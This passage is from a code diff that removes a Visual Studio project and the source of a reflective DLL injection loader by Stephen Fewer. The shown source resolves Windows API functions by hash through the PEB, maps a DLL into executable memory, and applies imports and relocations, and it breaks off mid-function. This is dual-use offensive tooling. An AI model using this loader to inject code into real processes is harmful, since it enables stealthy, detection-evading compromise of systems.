<PrecompiledHeader>
|
||||
</PrecompiledHeader>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<DebugInformationFormat>ProgramDatabase</DebugInformationFormat>
|
||||
<BufferSecurityCheck>true</BufferSecurityCheck>
|
||||
<CompileAs>Default</CompileAs>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
<SubSystem>Windows</SubSystem>
|
||||
<OptimizeReferences>true</OptimizeReferences>
|
||||
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||
<OutputFile>$(OutDir)$(ProjectName).arm.dll</OutputFile>
|
||||
</Link>
|
||||
<PostBuildEvent>
|
||||
<Command>copy ..\ARM\Release\reflective_dll.arm.dll ..\bin\</Command>
|
||||
</PostBuildEvent>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<Midl>
|
||||
<TargetEnvironment>X64</TargetEnvironment>
|
||||
</Midl>
|
||||
<ClCompile>
|
||||
<Optimization>MaxSpeed</Optimization>
|
||||
<InlineFunctionExpansion>OnlyExplicitInline</InlineFunctionExpansion>
|
||||
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||
<FavorSizeOrSpeed>Size</FavorSizeOrSpeed>
|
||||
<WholeProgramOptimization>false</WholeProgramOptimization>
|
||||
<PreprocessorDefinitions>WIN64;NDEBUG;_WINDOWS;_USRDLL;REFLECTIVE_DLL_EXPORTS;WIN_X64;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
|
||||
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||
<PrecompiledHeader />
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<DebugInformationFormat>ProgramDatabase</DebugInformationFormat>
|
||||
<CompileAs>CompileAsCpp</CompileAs>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<OutputFile>$(OutDir)$(ProjectName).x64.dll</OutputFile>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
<SubSystem>Windows</SubSystem>
|
||||
<OptimizeReferences>true</OptimizeReferences>
|
||||
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||
<TargetMachine>MachineX64</TargetMachine>
|
||||
</Link>
|
||||
<PostBuildEvent>
|
||||
<Command>copy $(OutDir)$(ProjectName).x64.dll ..\bin\</Command>
|
||||
</PostBuildEvent>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="src\ReflectiveDll.c" />
|
||||
<ClCompile Include="src\ReflectiveLoader.c" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="src\ComplexPath.h" />
|
||||
<ClInclude Include="src\ReflectiveDLLInjection.h" />
|
||||
<ClInclude Include="src\ReflectiveLoader.h" />
|
||||
</ItemGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
|
||||
<ImportGroup Label="ExtensionTargets">
|
||||
</ImportGroup>
|
||||
</Project>
|
||||
@@ -1,32 +0,0 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<ItemGroup>
|
||||
<Filter Include="Source Files">
|
||||
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
|
||||
<Extensions>cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
|
||||
</Filter>
|
||||
<Filter Include="Header Files">
|
||||
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
|
||||
<Extensions>h;hpp;hxx;hm;inl;inc;xsd</Extensions>
|
||||
</Filter>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="src\ReflectiveDll.c">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="src\ReflectiveLoader.c">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClCompile>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="src\ReflectiveDLLInjection.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="src\ReflectiveLoader.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="src\ComplexPath.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
</ItemGroup>
|
||||
</Project>
|
||||
@@ -1,51 +0,0 @@
|
||||
//===============================================================================================//
|
||||
// Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
|
||||
// All rights reserved.
|
||||
//
|
||||
// Redistribution and use in source and binary forms, with or without modification, are permitted
|
||||
// provided that the following conditions are met:
|
||||
//
|
||||
// * Redistributions of source code must retain the above copyright notice, this list of
|
||||
// conditions and the following disclaimer.
|
||||
//
|
||||
// * Redistributions in binary form must reproduce the above copyright notice, this list of
|
||||
// conditions and the following disclaimer in the documentation and/or other materials provided
|
||||
// with the distribution.
|
||||
//
|
||||
// * Neither the name of Harmony Security nor the names of its contributors may be used to
|
||||
// endorse or promote products derived from this software without specific prior written permission.
|
||||
//
|
||||
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
|
||||
// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
|
||||
// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
|
||||
// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
|
||||
// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
|
||||
// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
|
||||
// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
|
||||
// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
|
||||
// POSSIBILITY OF SUCH DAMAGE.
|
||||
//===============================================================================================//
|
||||
#ifndef _REFLECTIVEDLLINJECTION_REFLECTIVEDLLINJECTION_H
|
||||
#define _REFLECTIVEDLLINJECTION_REFLECTIVEDLLINJECTION_H
|
||||
//===============================================================================================//
|
||||
#define WIN32_LEAN_AND_MEAN
|
||||
#include <windows.h>
|
||||
|
||||
// we declare some common stuff in here...
|
||||
|
||||
#define DLL_QUERY_HMODULE 6
|
||||
|
||||
#define DEREF( name )*(UINT_PTR *)(name)
|
||||
#define DEREF_64( name )*(DWORD64 *)(name)
|
||||
#define DEREF_32( name )*(DWORD *)(name)
|
||||
#define DEREF_16( name )*(WORD *)(name)
|
||||
#define DEREF_8( name )*(BYTE *)(name)
|
||||
|
||||
typedef DWORD (WINAPI * REFLECTIVELOADER)( VOID );
|
||||
typedef BOOL (WINAPI * DLLMAIN)( HINSTANCE, DWORD, LPVOID );
|
||||
|
||||
#define DLLEXPORT __declspec( dllexport )
|
||||
|
||||
//===============================================================================================//
|
||||
#endif
|
||||
//===============================================================================================//
|
||||
@@ -1,496 +0,0 @@
|
||||
//===============================================================================================//
|
||||
// Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
|
||||
// All rights reserved.
|
||||
//
|
||||
// Redistribution and use in source and binary forms, with or without modification, are permitted
|
||||
// provided that the following conditions are met:
|
||||
//
|
||||
// * Redistributions of source code must retain the above copyright notice, this list of
|
||||
// conditions and the following disclaimer.
|
||||
//
|
||||
// * Redistributions in binary form must reproduce the above copyright notice, this list of
|
||||
// conditions and the following disclaimer in the documentation and/or other materials provided
|
||||
// with the distribution.
|
||||
//
|
||||
// * Neither the name of Harmony Security nor the names of its contributors may be used to
|
||||
// endorse or promote products derived from this software without specific prior written permission.
|
||||
//
|
||||
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
|
||||
// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
|
||||
// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
|
||||
// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
|
||||
// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
|
||||
// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
|
||||
// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
|
||||
// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
|
||||
// POSSIBILITY OF SUCH DAMAGE.
|
||||
//===============================================================================================//
|
||||
#include "ReflectiveLoader.h"
|
||||
//===============================================================================================//
|
||||
// Our loader will set this to a pseudo correct HINSTANCE/HMODULE value
|
||||
HINSTANCE hAppInstance = NULL;
|
||||
//===============================================================================================//
|
||||
#pragma intrinsic( _ReturnAddress )
|
||||
// This function can not be inlined by the compiler or we will not get the address we expect. Ideally
|
||||
// this code will be compiled with the /O2 and /Ob1 switches. Bonus points if we could take advantage of
|
||||
// RIP relative addressing in this instance but I dont believe we can do so with the compiler intrinsics
|
||||
// available (and no inline asm available under x64).
|
||||
__declspec(noinline) ULONG_PTR caller( VOID ) { return (ULONG_PTR)_ReturnAddress(); }
|
||||
//===============================================================================================//
|
||||
|
||||
// Note 1: If you want to have your own DllMain, define REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN,
|
||||
// otherwise the DllMain at the end of this file will be used.
|
||||
|
||||
// Note 2: If you are injecting the DLL via LoadRemoteLibraryR, define REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR,
|
||||
// otherwise it is assumed you are calling the ReflectiveLoader via a stub.
|
||||
|
||||
// This is our position independent reflective DLL loader/injector
|
||||
#ifdef REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR
|
||||
DLLEXPORT ULONG_PTR WINAPI ReflectiveLoader( LPVOID lpParameter )
|
||||
#else
|
||||
DLLEXPORT ULONG_PTR WINAPI ReflectiveLoader( VOID )
|
||||
#endif
|
||||
{
|
||||
// the functions we need
|
||||
LOADLIBRARYA pLoadLibraryA = NULL;
|
||||
GETPROCADDRESS pGetProcAddress = NULL;
|
||||
VIRTUALALLOC pVirtualAlloc = NULL;
|
||||
NTFLUSHINSTRUCTIONCACHE pNtFlushInstructionCache = NULL;
|
||||
|
||||
USHORT usCounter;
|
||||
|
||||
// the initial location of this image in memory
|
||||
ULONG_PTR uiLibraryAddress;
|
||||
// the kernels base address and later this images newly loaded base address
|
||||
ULONG_PTR uiBaseAddress;
|
||||
|
||||
// variables for processing the kernels export table
|
||||
ULONG_PTR uiAddressArray;
|
||||
ULONG_PTR uiNameArray;
|
||||
ULONG_PTR uiExportDir;
|
||||
ULONG_PTR uiNameOrdinals;
|
||||
DWORD dwHashValue;
|
||||
|
||||
// variables for loading this image
|
||||
ULONG_PTR uiHeaderValue;
|
||||
ULONG_PTR uiValueA;
|
||||
ULONG_PTR uiValueB;
|
||||
ULONG_PTR uiValueC;
|
||||
ULONG_PTR uiValueD;
|
||||
ULONG_PTR uiValueE;
|
||||
|
||||
// STEP 0: calculate our images current base address
|
||||
|
||||
// we will start searching backwards from our callers return address.
|
||||
uiLibraryAddress = caller();
|
||||
|
||||
// loop through memory backwards searching for our images base address
|
||||
// we dont need SEH style search as we shouldnt generate any access violations with this
|
||||
while( TRUE )
|
||||
{
|
||||
if( ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_magic == IMAGE_DOS_SIGNATURE )
|
||||
{
|
||||
uiHeaderValue = ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;
|
||||
// some x64 dll's can trigger a bogus signature (IMAGE_DOS_SIGNATURE == 'POP r10'),
|
||||
// we sanity check the e_lfanew with an upper threshold value of 1024 to avoid problems.
|
||||
if( uiHeaderValue >= sizeof(IMAGE_DOS_HEADER) && uiHeaderValue < 1024 )
|
||||
{
|
||||
uiHeaderValue += uiLibraryAddress;
|
||||
// break if we have found a valid MZ/PE header
|
||||
if( ((PIMAGE_NT_HEADERS)uiHeaderValue)->Signature == IMAGE_NT_SIGNATURE )
|
||||
break;
|
||||
}
|
||||
}
|
||||
uiLibraryAddress--;
|
||||
}
|
||||
|
||||
// STEP 1: process the kernels exports for the functions our loader needs...
|
||||
|
||||
// get the Process Enviroment Block
|
||||
#ifdef WIN_X64
|
||||
uiBaseAddress = __readgsqword( 0x60 );
|
||||
#else
|
||||
#ifdef WIN_X86
|
||||
uiBaseAddress = __readfsdword( 0x30 );
|
||||
#else WIN_ARM
|
||||
uiBaseAddress = *(DWORD *)( (BYTE *)_MoveFromCoprocessor( 15, 0, 13, 0, 2 ) + 0x30 );
|
||||
#endif
|
||||
#endif
|
||||
|
||||
// get the processes loaded modules. ref: http://msdn.microsoft.com/en-us/library/aa813708(VS.85).aspx
|
||||
uiBaseAddress = (ULONG_PTR)((_PPEB)uiBaseAddress)->pLdr;
|
||||
|
||||
// get the first entry of the InMemoryOrder module list
|
||||
uiValueA = (ULONG_PTR)((PPEB_LDR_DATA)uiBaseAddress)->InMemoryOrderModuleList.Flink;
|
||||
while( uiValueA )
|
||||
{
|
||||
// get pointer to current modules name (unicode string)
|
||||
uiValueB = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.pBuffer;
|
||||
// set bCounter to the length for the loop
|
||||
usCounter = ((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.Length;
|
||||
// clear uiValueC which will store the hash of the module name
|
||||
uiValueC = 0;
|
||||
|
||||
// compute the hash of the module name...
|
||||
do
|
||||
{
|
||||
uiValueC = ror( (DWORD)uiValueC );
|
||||
// normalize to uppercase if the madule name is in lowercase
|
||||
if( *((BYTE *)uiValueB) >= 'a' )
|
||||
uiValueC += *((BYTE *)uiValueB) - 0x20;
|
||||
else
|
||||
uiValueC += *((BYTE *)uiValueB);
|
||||
uiValueB++;
|
||||
} while( --usCounter );
|
||||
|
||||
// compare the hash with that of kernel32.dll
|
||||
if( (DWORD)uiValueC == KERNEL32DLL_HASH )
|
||||
{
|
||||
// get this modules base address
|
||||
uiBaseAddress = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase;
|
||||
|
||||
// get the VA of the modules NT Header
|
||||
uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew;
|
||||
|
||||
// uiNameArray = the address of the modules export directory entry
|
||||
uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ];
|
||||
|
||||
// get the VA of the export directory
|
||||
uiExportDir = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress );
|
||||
|
||||
// get the VA for the array of name pointers
|
||||
uiNameArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNames );
|
||||
|
||||
// get the VA for the array of name ordinals
|
||||
uiNameOrdinals = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNameOrdinals );
|
||||
|
||||
usCounter = 3;
|
||||
|
||||
// loop while we still have imports to find
|
||||
while( usCounter > 0 )
|
||||
{
|
||||
// compute the hash values for this function name
|
||||
dwHashValue = hash( (char *)( uiBaseAddress + DEREF_32( uiNameArray ) ) );
|
||||
|
||||
// if we have found a function we want we get its virtual address
|
||||
if( dwHashValue == LOADLIBRARYA_HASH || dwHashValue == GETPROCADDRESS_HASH || dwHashValue == VIRTUALALLOC_HASH )
|
||||
{
|
||||
// get the VA for the array of addresses
|
||||
uiAddressArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions );
|
||||
|
||||
// use this functions name ordinal as an index into the array of name pointers
|
||||
uiAddressArray += ( DEREF_16( uiNameOrdinals ) * sizeof(DWORD) );
|
||||
|
||||
// store this functions VA
|
||||
if( dwHashValue == LOADLIBRARYA_HASH )
|
||||
pLoadLibraryA = (LOADLIBRARYA)( uiBaseAddress + DEREF_32( uiAddressArray ) );
|
||||
else if( dwHashValue == GETPROCADDRESS_HASH )
|
||||
pGetProcAddress = (GETPROCADDRESS)( uiBaseAddress + DEREF_32( uiAddressArray ) );
|
||||
else if( dwHashValue == VIRTUALALLOC_HASH )
|
||||
pVirtualAlloc = (VIRTUALALLOC)( uiBaseAddress + DEREF_32( uiAddressArray ) );
|
||||
|
||||
// decrement our counter
|
||||
usCounter--;
|
||||
}
|
||||
|
||||
// get the next exported function name
|
||||
uiNameArray += sizeof(DWORD);
|
||||
|
||||
// get the next exported function name ordinal
|
||||
uiNameOrdinals += sizeof(WORD);
|
||||
}
|
||||
}
|
||||
else if( (DWORD)uiValueC == NTDLLDLL_HASH )
|
||||
{
|
||||
// get this modules base address
|
||||
uiBaseAddress = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase;
|
||||
|
||||
// get the VA of the modules NT Header
|
||||
uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew;
|
||||
|
||||
// uiNameArray = the address of the modules export directory entry
|
||||
uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ];
|
||||
|
||||
// get the VA of the export directory
|
||||
uiExportDir = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress );
|
||||
|
||||
// get the VA for the array of name pointers
|
||||
uiNameArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNames );
|
||||
|
||||
// get the VA for the array of name ordinals
|
||||
uiNameOrdinals = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNameOrdinals );
|
||||
|
||||
usCounter = 1;
|
||||
|
||||
// loop while we still have imports to find
|
||||
while( usCounter > 0 )
|
||||
{
|
||||
// compute the hash values for this function name
|
||||
dwHashValue = hash( (char *)( uiBaseAddress + DEREF_32( uiNameArray ) ) );
|
||||
|
||||
// if we have found a function we want we get its virtual address
|
||||
if( dwHashValue == NTFLUSHINSTRUCTIONCACHE_HASH )
|
||||
{
|
||||
// get the VA for the array of addresses
|
||||
uiAddressArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions );
|
||||
|
||||
// use this functions name ordinal as an index into the array of name pointers
|
||||
uiAddressArray += ( DEREF_16( uiNameOrdinals ) * sizeof(DWORD) );
|
||||
|
||||
// store this functions VA
|
||||
if( dwHashValue == NTFLUSHINSTRUCTIONCACHE_HASH )
|
||||
pNtFlushInstructionCache = (NTFLUSHINSTRUCTIONCACHE)( uiBaseAddress + DEREF_32( uiAddressArray ) );
|
||||
|
||||
// decrement our counter
|
||||
usCounter--;
|
||||
}
|
||||
|
||||
// get the next exported function name
|
||||
uiNameArray += sizeof(DWORD);
|
||||
|
||||
// get the next exported function name ordinal
|
||||
uiNameOrdinals += sizeof(WORD);
|
||||
}
|
||||
}
|
||||
|
||||
// we stop searching when we have found everything we need.
|
||||
if( pLoadLibraryA && pGetProcAddress && pVirtualAlloc && pNtFlushInstructionCache )
|
||||
break;
|
||||
|
||||
// get the next entry
|
||||
uiValueA = DEREF( uiValueA );
|
||||
}
|
||||
|
||||
// STEP 2: load our image into a new permanent location in memory...
|
||||
|
||||
// get the VA of the NT Header for the PE to be loaded
|
||||
uiHeaderValue = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;
|
||||
|
||||
// allocate all the memory for the DLL to be loaded into. we can load at any address because we will
|
||||
// relocate the image. Also zeros all memory and marks it as READ, WRITE and EXECUTE to avoid any problems.
|
||||
uiBaseAddress = (ULONG_PTR)pVirtualAlloc( NULL, ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfImage, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE );
|
||||
|
||||
// we must now copy over the headers
|
||||
uiValueA = ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfHeaders;
|
||||
uiValueB = uiLibraryAddress;
|
||||
uiValueC = uiBaseAddress;
|
||||
|
||||
while( uiValueA-- )
|
||||
*(BYTE *)uiValueC++ = *(BYTE *)uiValueB++;
|
||||
|
||||
// STEP 3: load in all of our sections...
|
||||
|
||||
// uiValueA = the VA of the first section
|
||||
uiValueA = ( (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader + ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.SizeOfOptionalHeader );
|
||||
|
||||
// itterate through all sections, loading them into memory.
|
||||
uiValueE = ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.NumberOfSections;
|
||||
while( uiValueE-- )
|
||||
{
|
||||
// uiValueB is the VA for this section
|
||||
uiValueB = ( uiBaseAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->VirtualAddress );
|
||||
|
||||
// uiValueC if the VA for this sections data
|
||||
uiValueC = ( uiLibraryAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->PointerToRawData );
|
||||
|
||||
// copy the section over
|
||||
uiValueD = ((PIMAGE_SECTION_HEADER)uiValueA)->SizeOfRawData;
|
||||
|
||||
while( uiValueD-- )
|
||||
*(BYTE *)uiValueB++ = *(BYTE *)uiValueC++;
|
||||
|
||||
// get the VA of the next section
|
||||
uiValueA += sizeof( IMAGE_SECTION_HEADER );
|
||||
}
|
||||
|
||||
// STEP 4: process our images import table...
|
||||
|
||||
// uiValueB = the address of the import directory
|
||||
uiValueB = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_IMPORT ];
|
||||
|
||||
// we assume their is an import table to process
|
||||
// uiValueC is the first entry in the import table
|
||||
uiValueC = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress );
|
||||
|
||||
// itterate through all imports
|
||||
while( ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name )
|
||||
{
|
||||
// use LoadLibraryA to load the imported module into memory
|
||||
uiLibraryAddress = (ULONG_PTR)pLoadLibraryA( (LPCSTR)( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name ) );
|
||||
|
||||
// uiValueD = VA of the OriginalFirstThunk
|
||||
uiValueD = ( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->OriginalFirstThunk );
|
||||
|
||||
// uiValueA = VA of the IAT (via first thunk not origionalfirstthunk)
|
||||
uiValueA = ( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->FirstThunk );
|
||||
|
||||
// itterate through all imported functions, importing by ordinal if no name present
|
||||
while( DEREF(uiValueA) )
|
||||
{
|
||||
// sanity check uiValueD as some compilers only import by FirstThunk
|
||||
if( uiValueD && ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal & IMAGE_ORDINAL_FLAG )
|
||||
{
|
||||
// get the VA of the modules NT Header
|
||||
uiExportDir = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;
|
||||
|
||||
// uiNameArray = the address of the modules export directory entry
|
||||
uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ];
|
||||
|
||||
// get the VA of the export directory
|
||||
uiExportDir = ( uiLibraryAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress );
|
||||
|
||||
// get the VA for the array of addresses
|
||||
uiAddressArray = ( uiLibraryAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions );
|
||||
|
||||
// use the import ordinal (- export ordinal base) as an index into the array of addresses
|
||||
uiAddressArray += ( ( IMAGE_ORDINAL( ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal ) - ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->Base ) * sizeof(DWORD) );
|
||||
|
||||
// patch in the address for this imported function
|
||||
DEREF(uiValueA) = ( uiLibraryAddress + DEREF_32(uiAddressArray) );
|
||||
}
|
||||
else
|
||||
{
|
||||
// get the VA of this functions import by name struct
|
||||
uiValueB = ( uiBaseAddress + DEREF(uiValueA) );
|
||||
|
||||
// use GetProcAddress and patch in the address for this imported function
|
||||
DEREF(uiValueA) = (ULONG_PTR)pGetProcAddress( (HMODULE)uiLibraryAddress, (LPCSTR)((PIMAGE_IMPORT_BY_NAME)uiValueB)->Name );
|
||||
}
|
||||
// get the next imported function
|
||||
uiValueA += sizeof( ULONG_PTR );
|
||||
if( uiValueD )
|
||||
uiValueD += sizeof( ULONG_PTR );
|
||||
}
|
||||
|
||||
// get the next import
|
||||
uiValueC += sizeof( IMAGE_IMPORT_DESCRIPTOR );
|
||||
}
|
||||
|
||||
// STEP 5: process all of our images relocations...
|
||||
|
||||
// calculate the base address delta and perform relocations (even if we load at desired image base)
|
||||
uiLibraryAddress = uiBaseAddress - ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.ImageBase;
|
||||
|
||||
// uiValueB = the address of the relocation directory
|
||||
uiValueB = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_BASERELOC ];
|
||||
|
||||
// check if their are any relocations present
|
||||
if( ((PIMAGE_DATA_DIRECTORY)uiValueB)->Size )
|
||||
{
|
||||
// uiValueC is now the first entry (IMAGE_BASE_RELOCATION)
|
||||
uiValueC = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress );
|
||||
|
||||
// and we itterate through all entries...
|
||||
while( ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock )
|
||||
{
|
||||
// uiValueA = the VA for this relocation block
|
||||
uiValueA = ( uiBaseAddress + ((PIMAGE_BASE_RELOCATION)uiValueC)->VirtualAddress );
|
||||
|
||||
// uiValueB = number of entries in this relocation block
|
||||
uiValueB = ( ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION) ) / sizeof( IMAGE_RELOC );
|
||||
|
||||
// uiValueD is now the first entry in the current relocation block
|
||||
uiValueD = uiValueC + sizeof(IMAGE_BASE_RELOCATION);
|
||||
|
||||
// we itterate through all the entries in the current block...
|
||||
while( uiValueB-- )
|
||||
{
|
||||
// perform the relocation, skipping IMAGE_REL_BASED_ABSOLUTE as required.
|
||||
// we dont use a switch statement to avoid the compiler building a jump table
|
||||
// which would not be very position independent!
|
||||
if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_DIR64 )
|
||||
*(ULONG_PTR *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += uiLibraryAddress;
|
||||
else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGHLOW )
|
||||
*(DWORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += (DWORD)uiLibraryAddress;
|
||||
#ifdef WIN_ARM
|
||||
// Note: On ARM, the compiler optimization /O2 seems to introduce an off by one issue, possibly a code gen bug. Using /O1 instead avoids this problem.
|
||||
else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_ARM_MOV32T )
|
||||
{
|
||||
register DWORD dwInstruction;
|
||||
register DWORD dwAddress;
|
||||
register WORD wImm;
|
||||
// get the MOV.T instructions DWORD value (We add 4 to the offset to go past the first MOV.W which handles the low word)
|
||||
dwInstruction = *(DWORD *)( uiValueA + ((PIMAGE_RELOC)uiValueD)->offset + sizeof(DWORD) );
|
||||
// flip the words to get the instruction as expected
|
||||
dwInstruction = MAKELONG( HIWORD(dwInstruction), LOWORD(dwInstruction) );
|
||||
// sanity chack we are processing a MOV instruction...
|
||||
if( (dwInstruction & ARM_MOV_MASK) == ARM_MOVT )
|
||||
{
|
||||
// pull out the encoded 16bit value (the high portion of the address-to-relocate)
|
||||
wImm = (WORD)( dwInstruction & 0x000000FF);
|
||||
wImm |= (WORD)((dwInstruction & 0x00007000) >> 4);
|
||||
wImm |= (WORD)((dwInstruction & 0x04000000) >> 15);
|
||||
wImm |= (WORD)((dwInstruction & 0x000F0000) >> 4);
|
||||
// apply the relocation to the target address
|
||||
dwAddress = ( (WORD)HIWORD(uiLibraryAddress) + wImm ) & 0xFFFF;
|
||||
// now create a new instruction with the same opcode and register param.
|
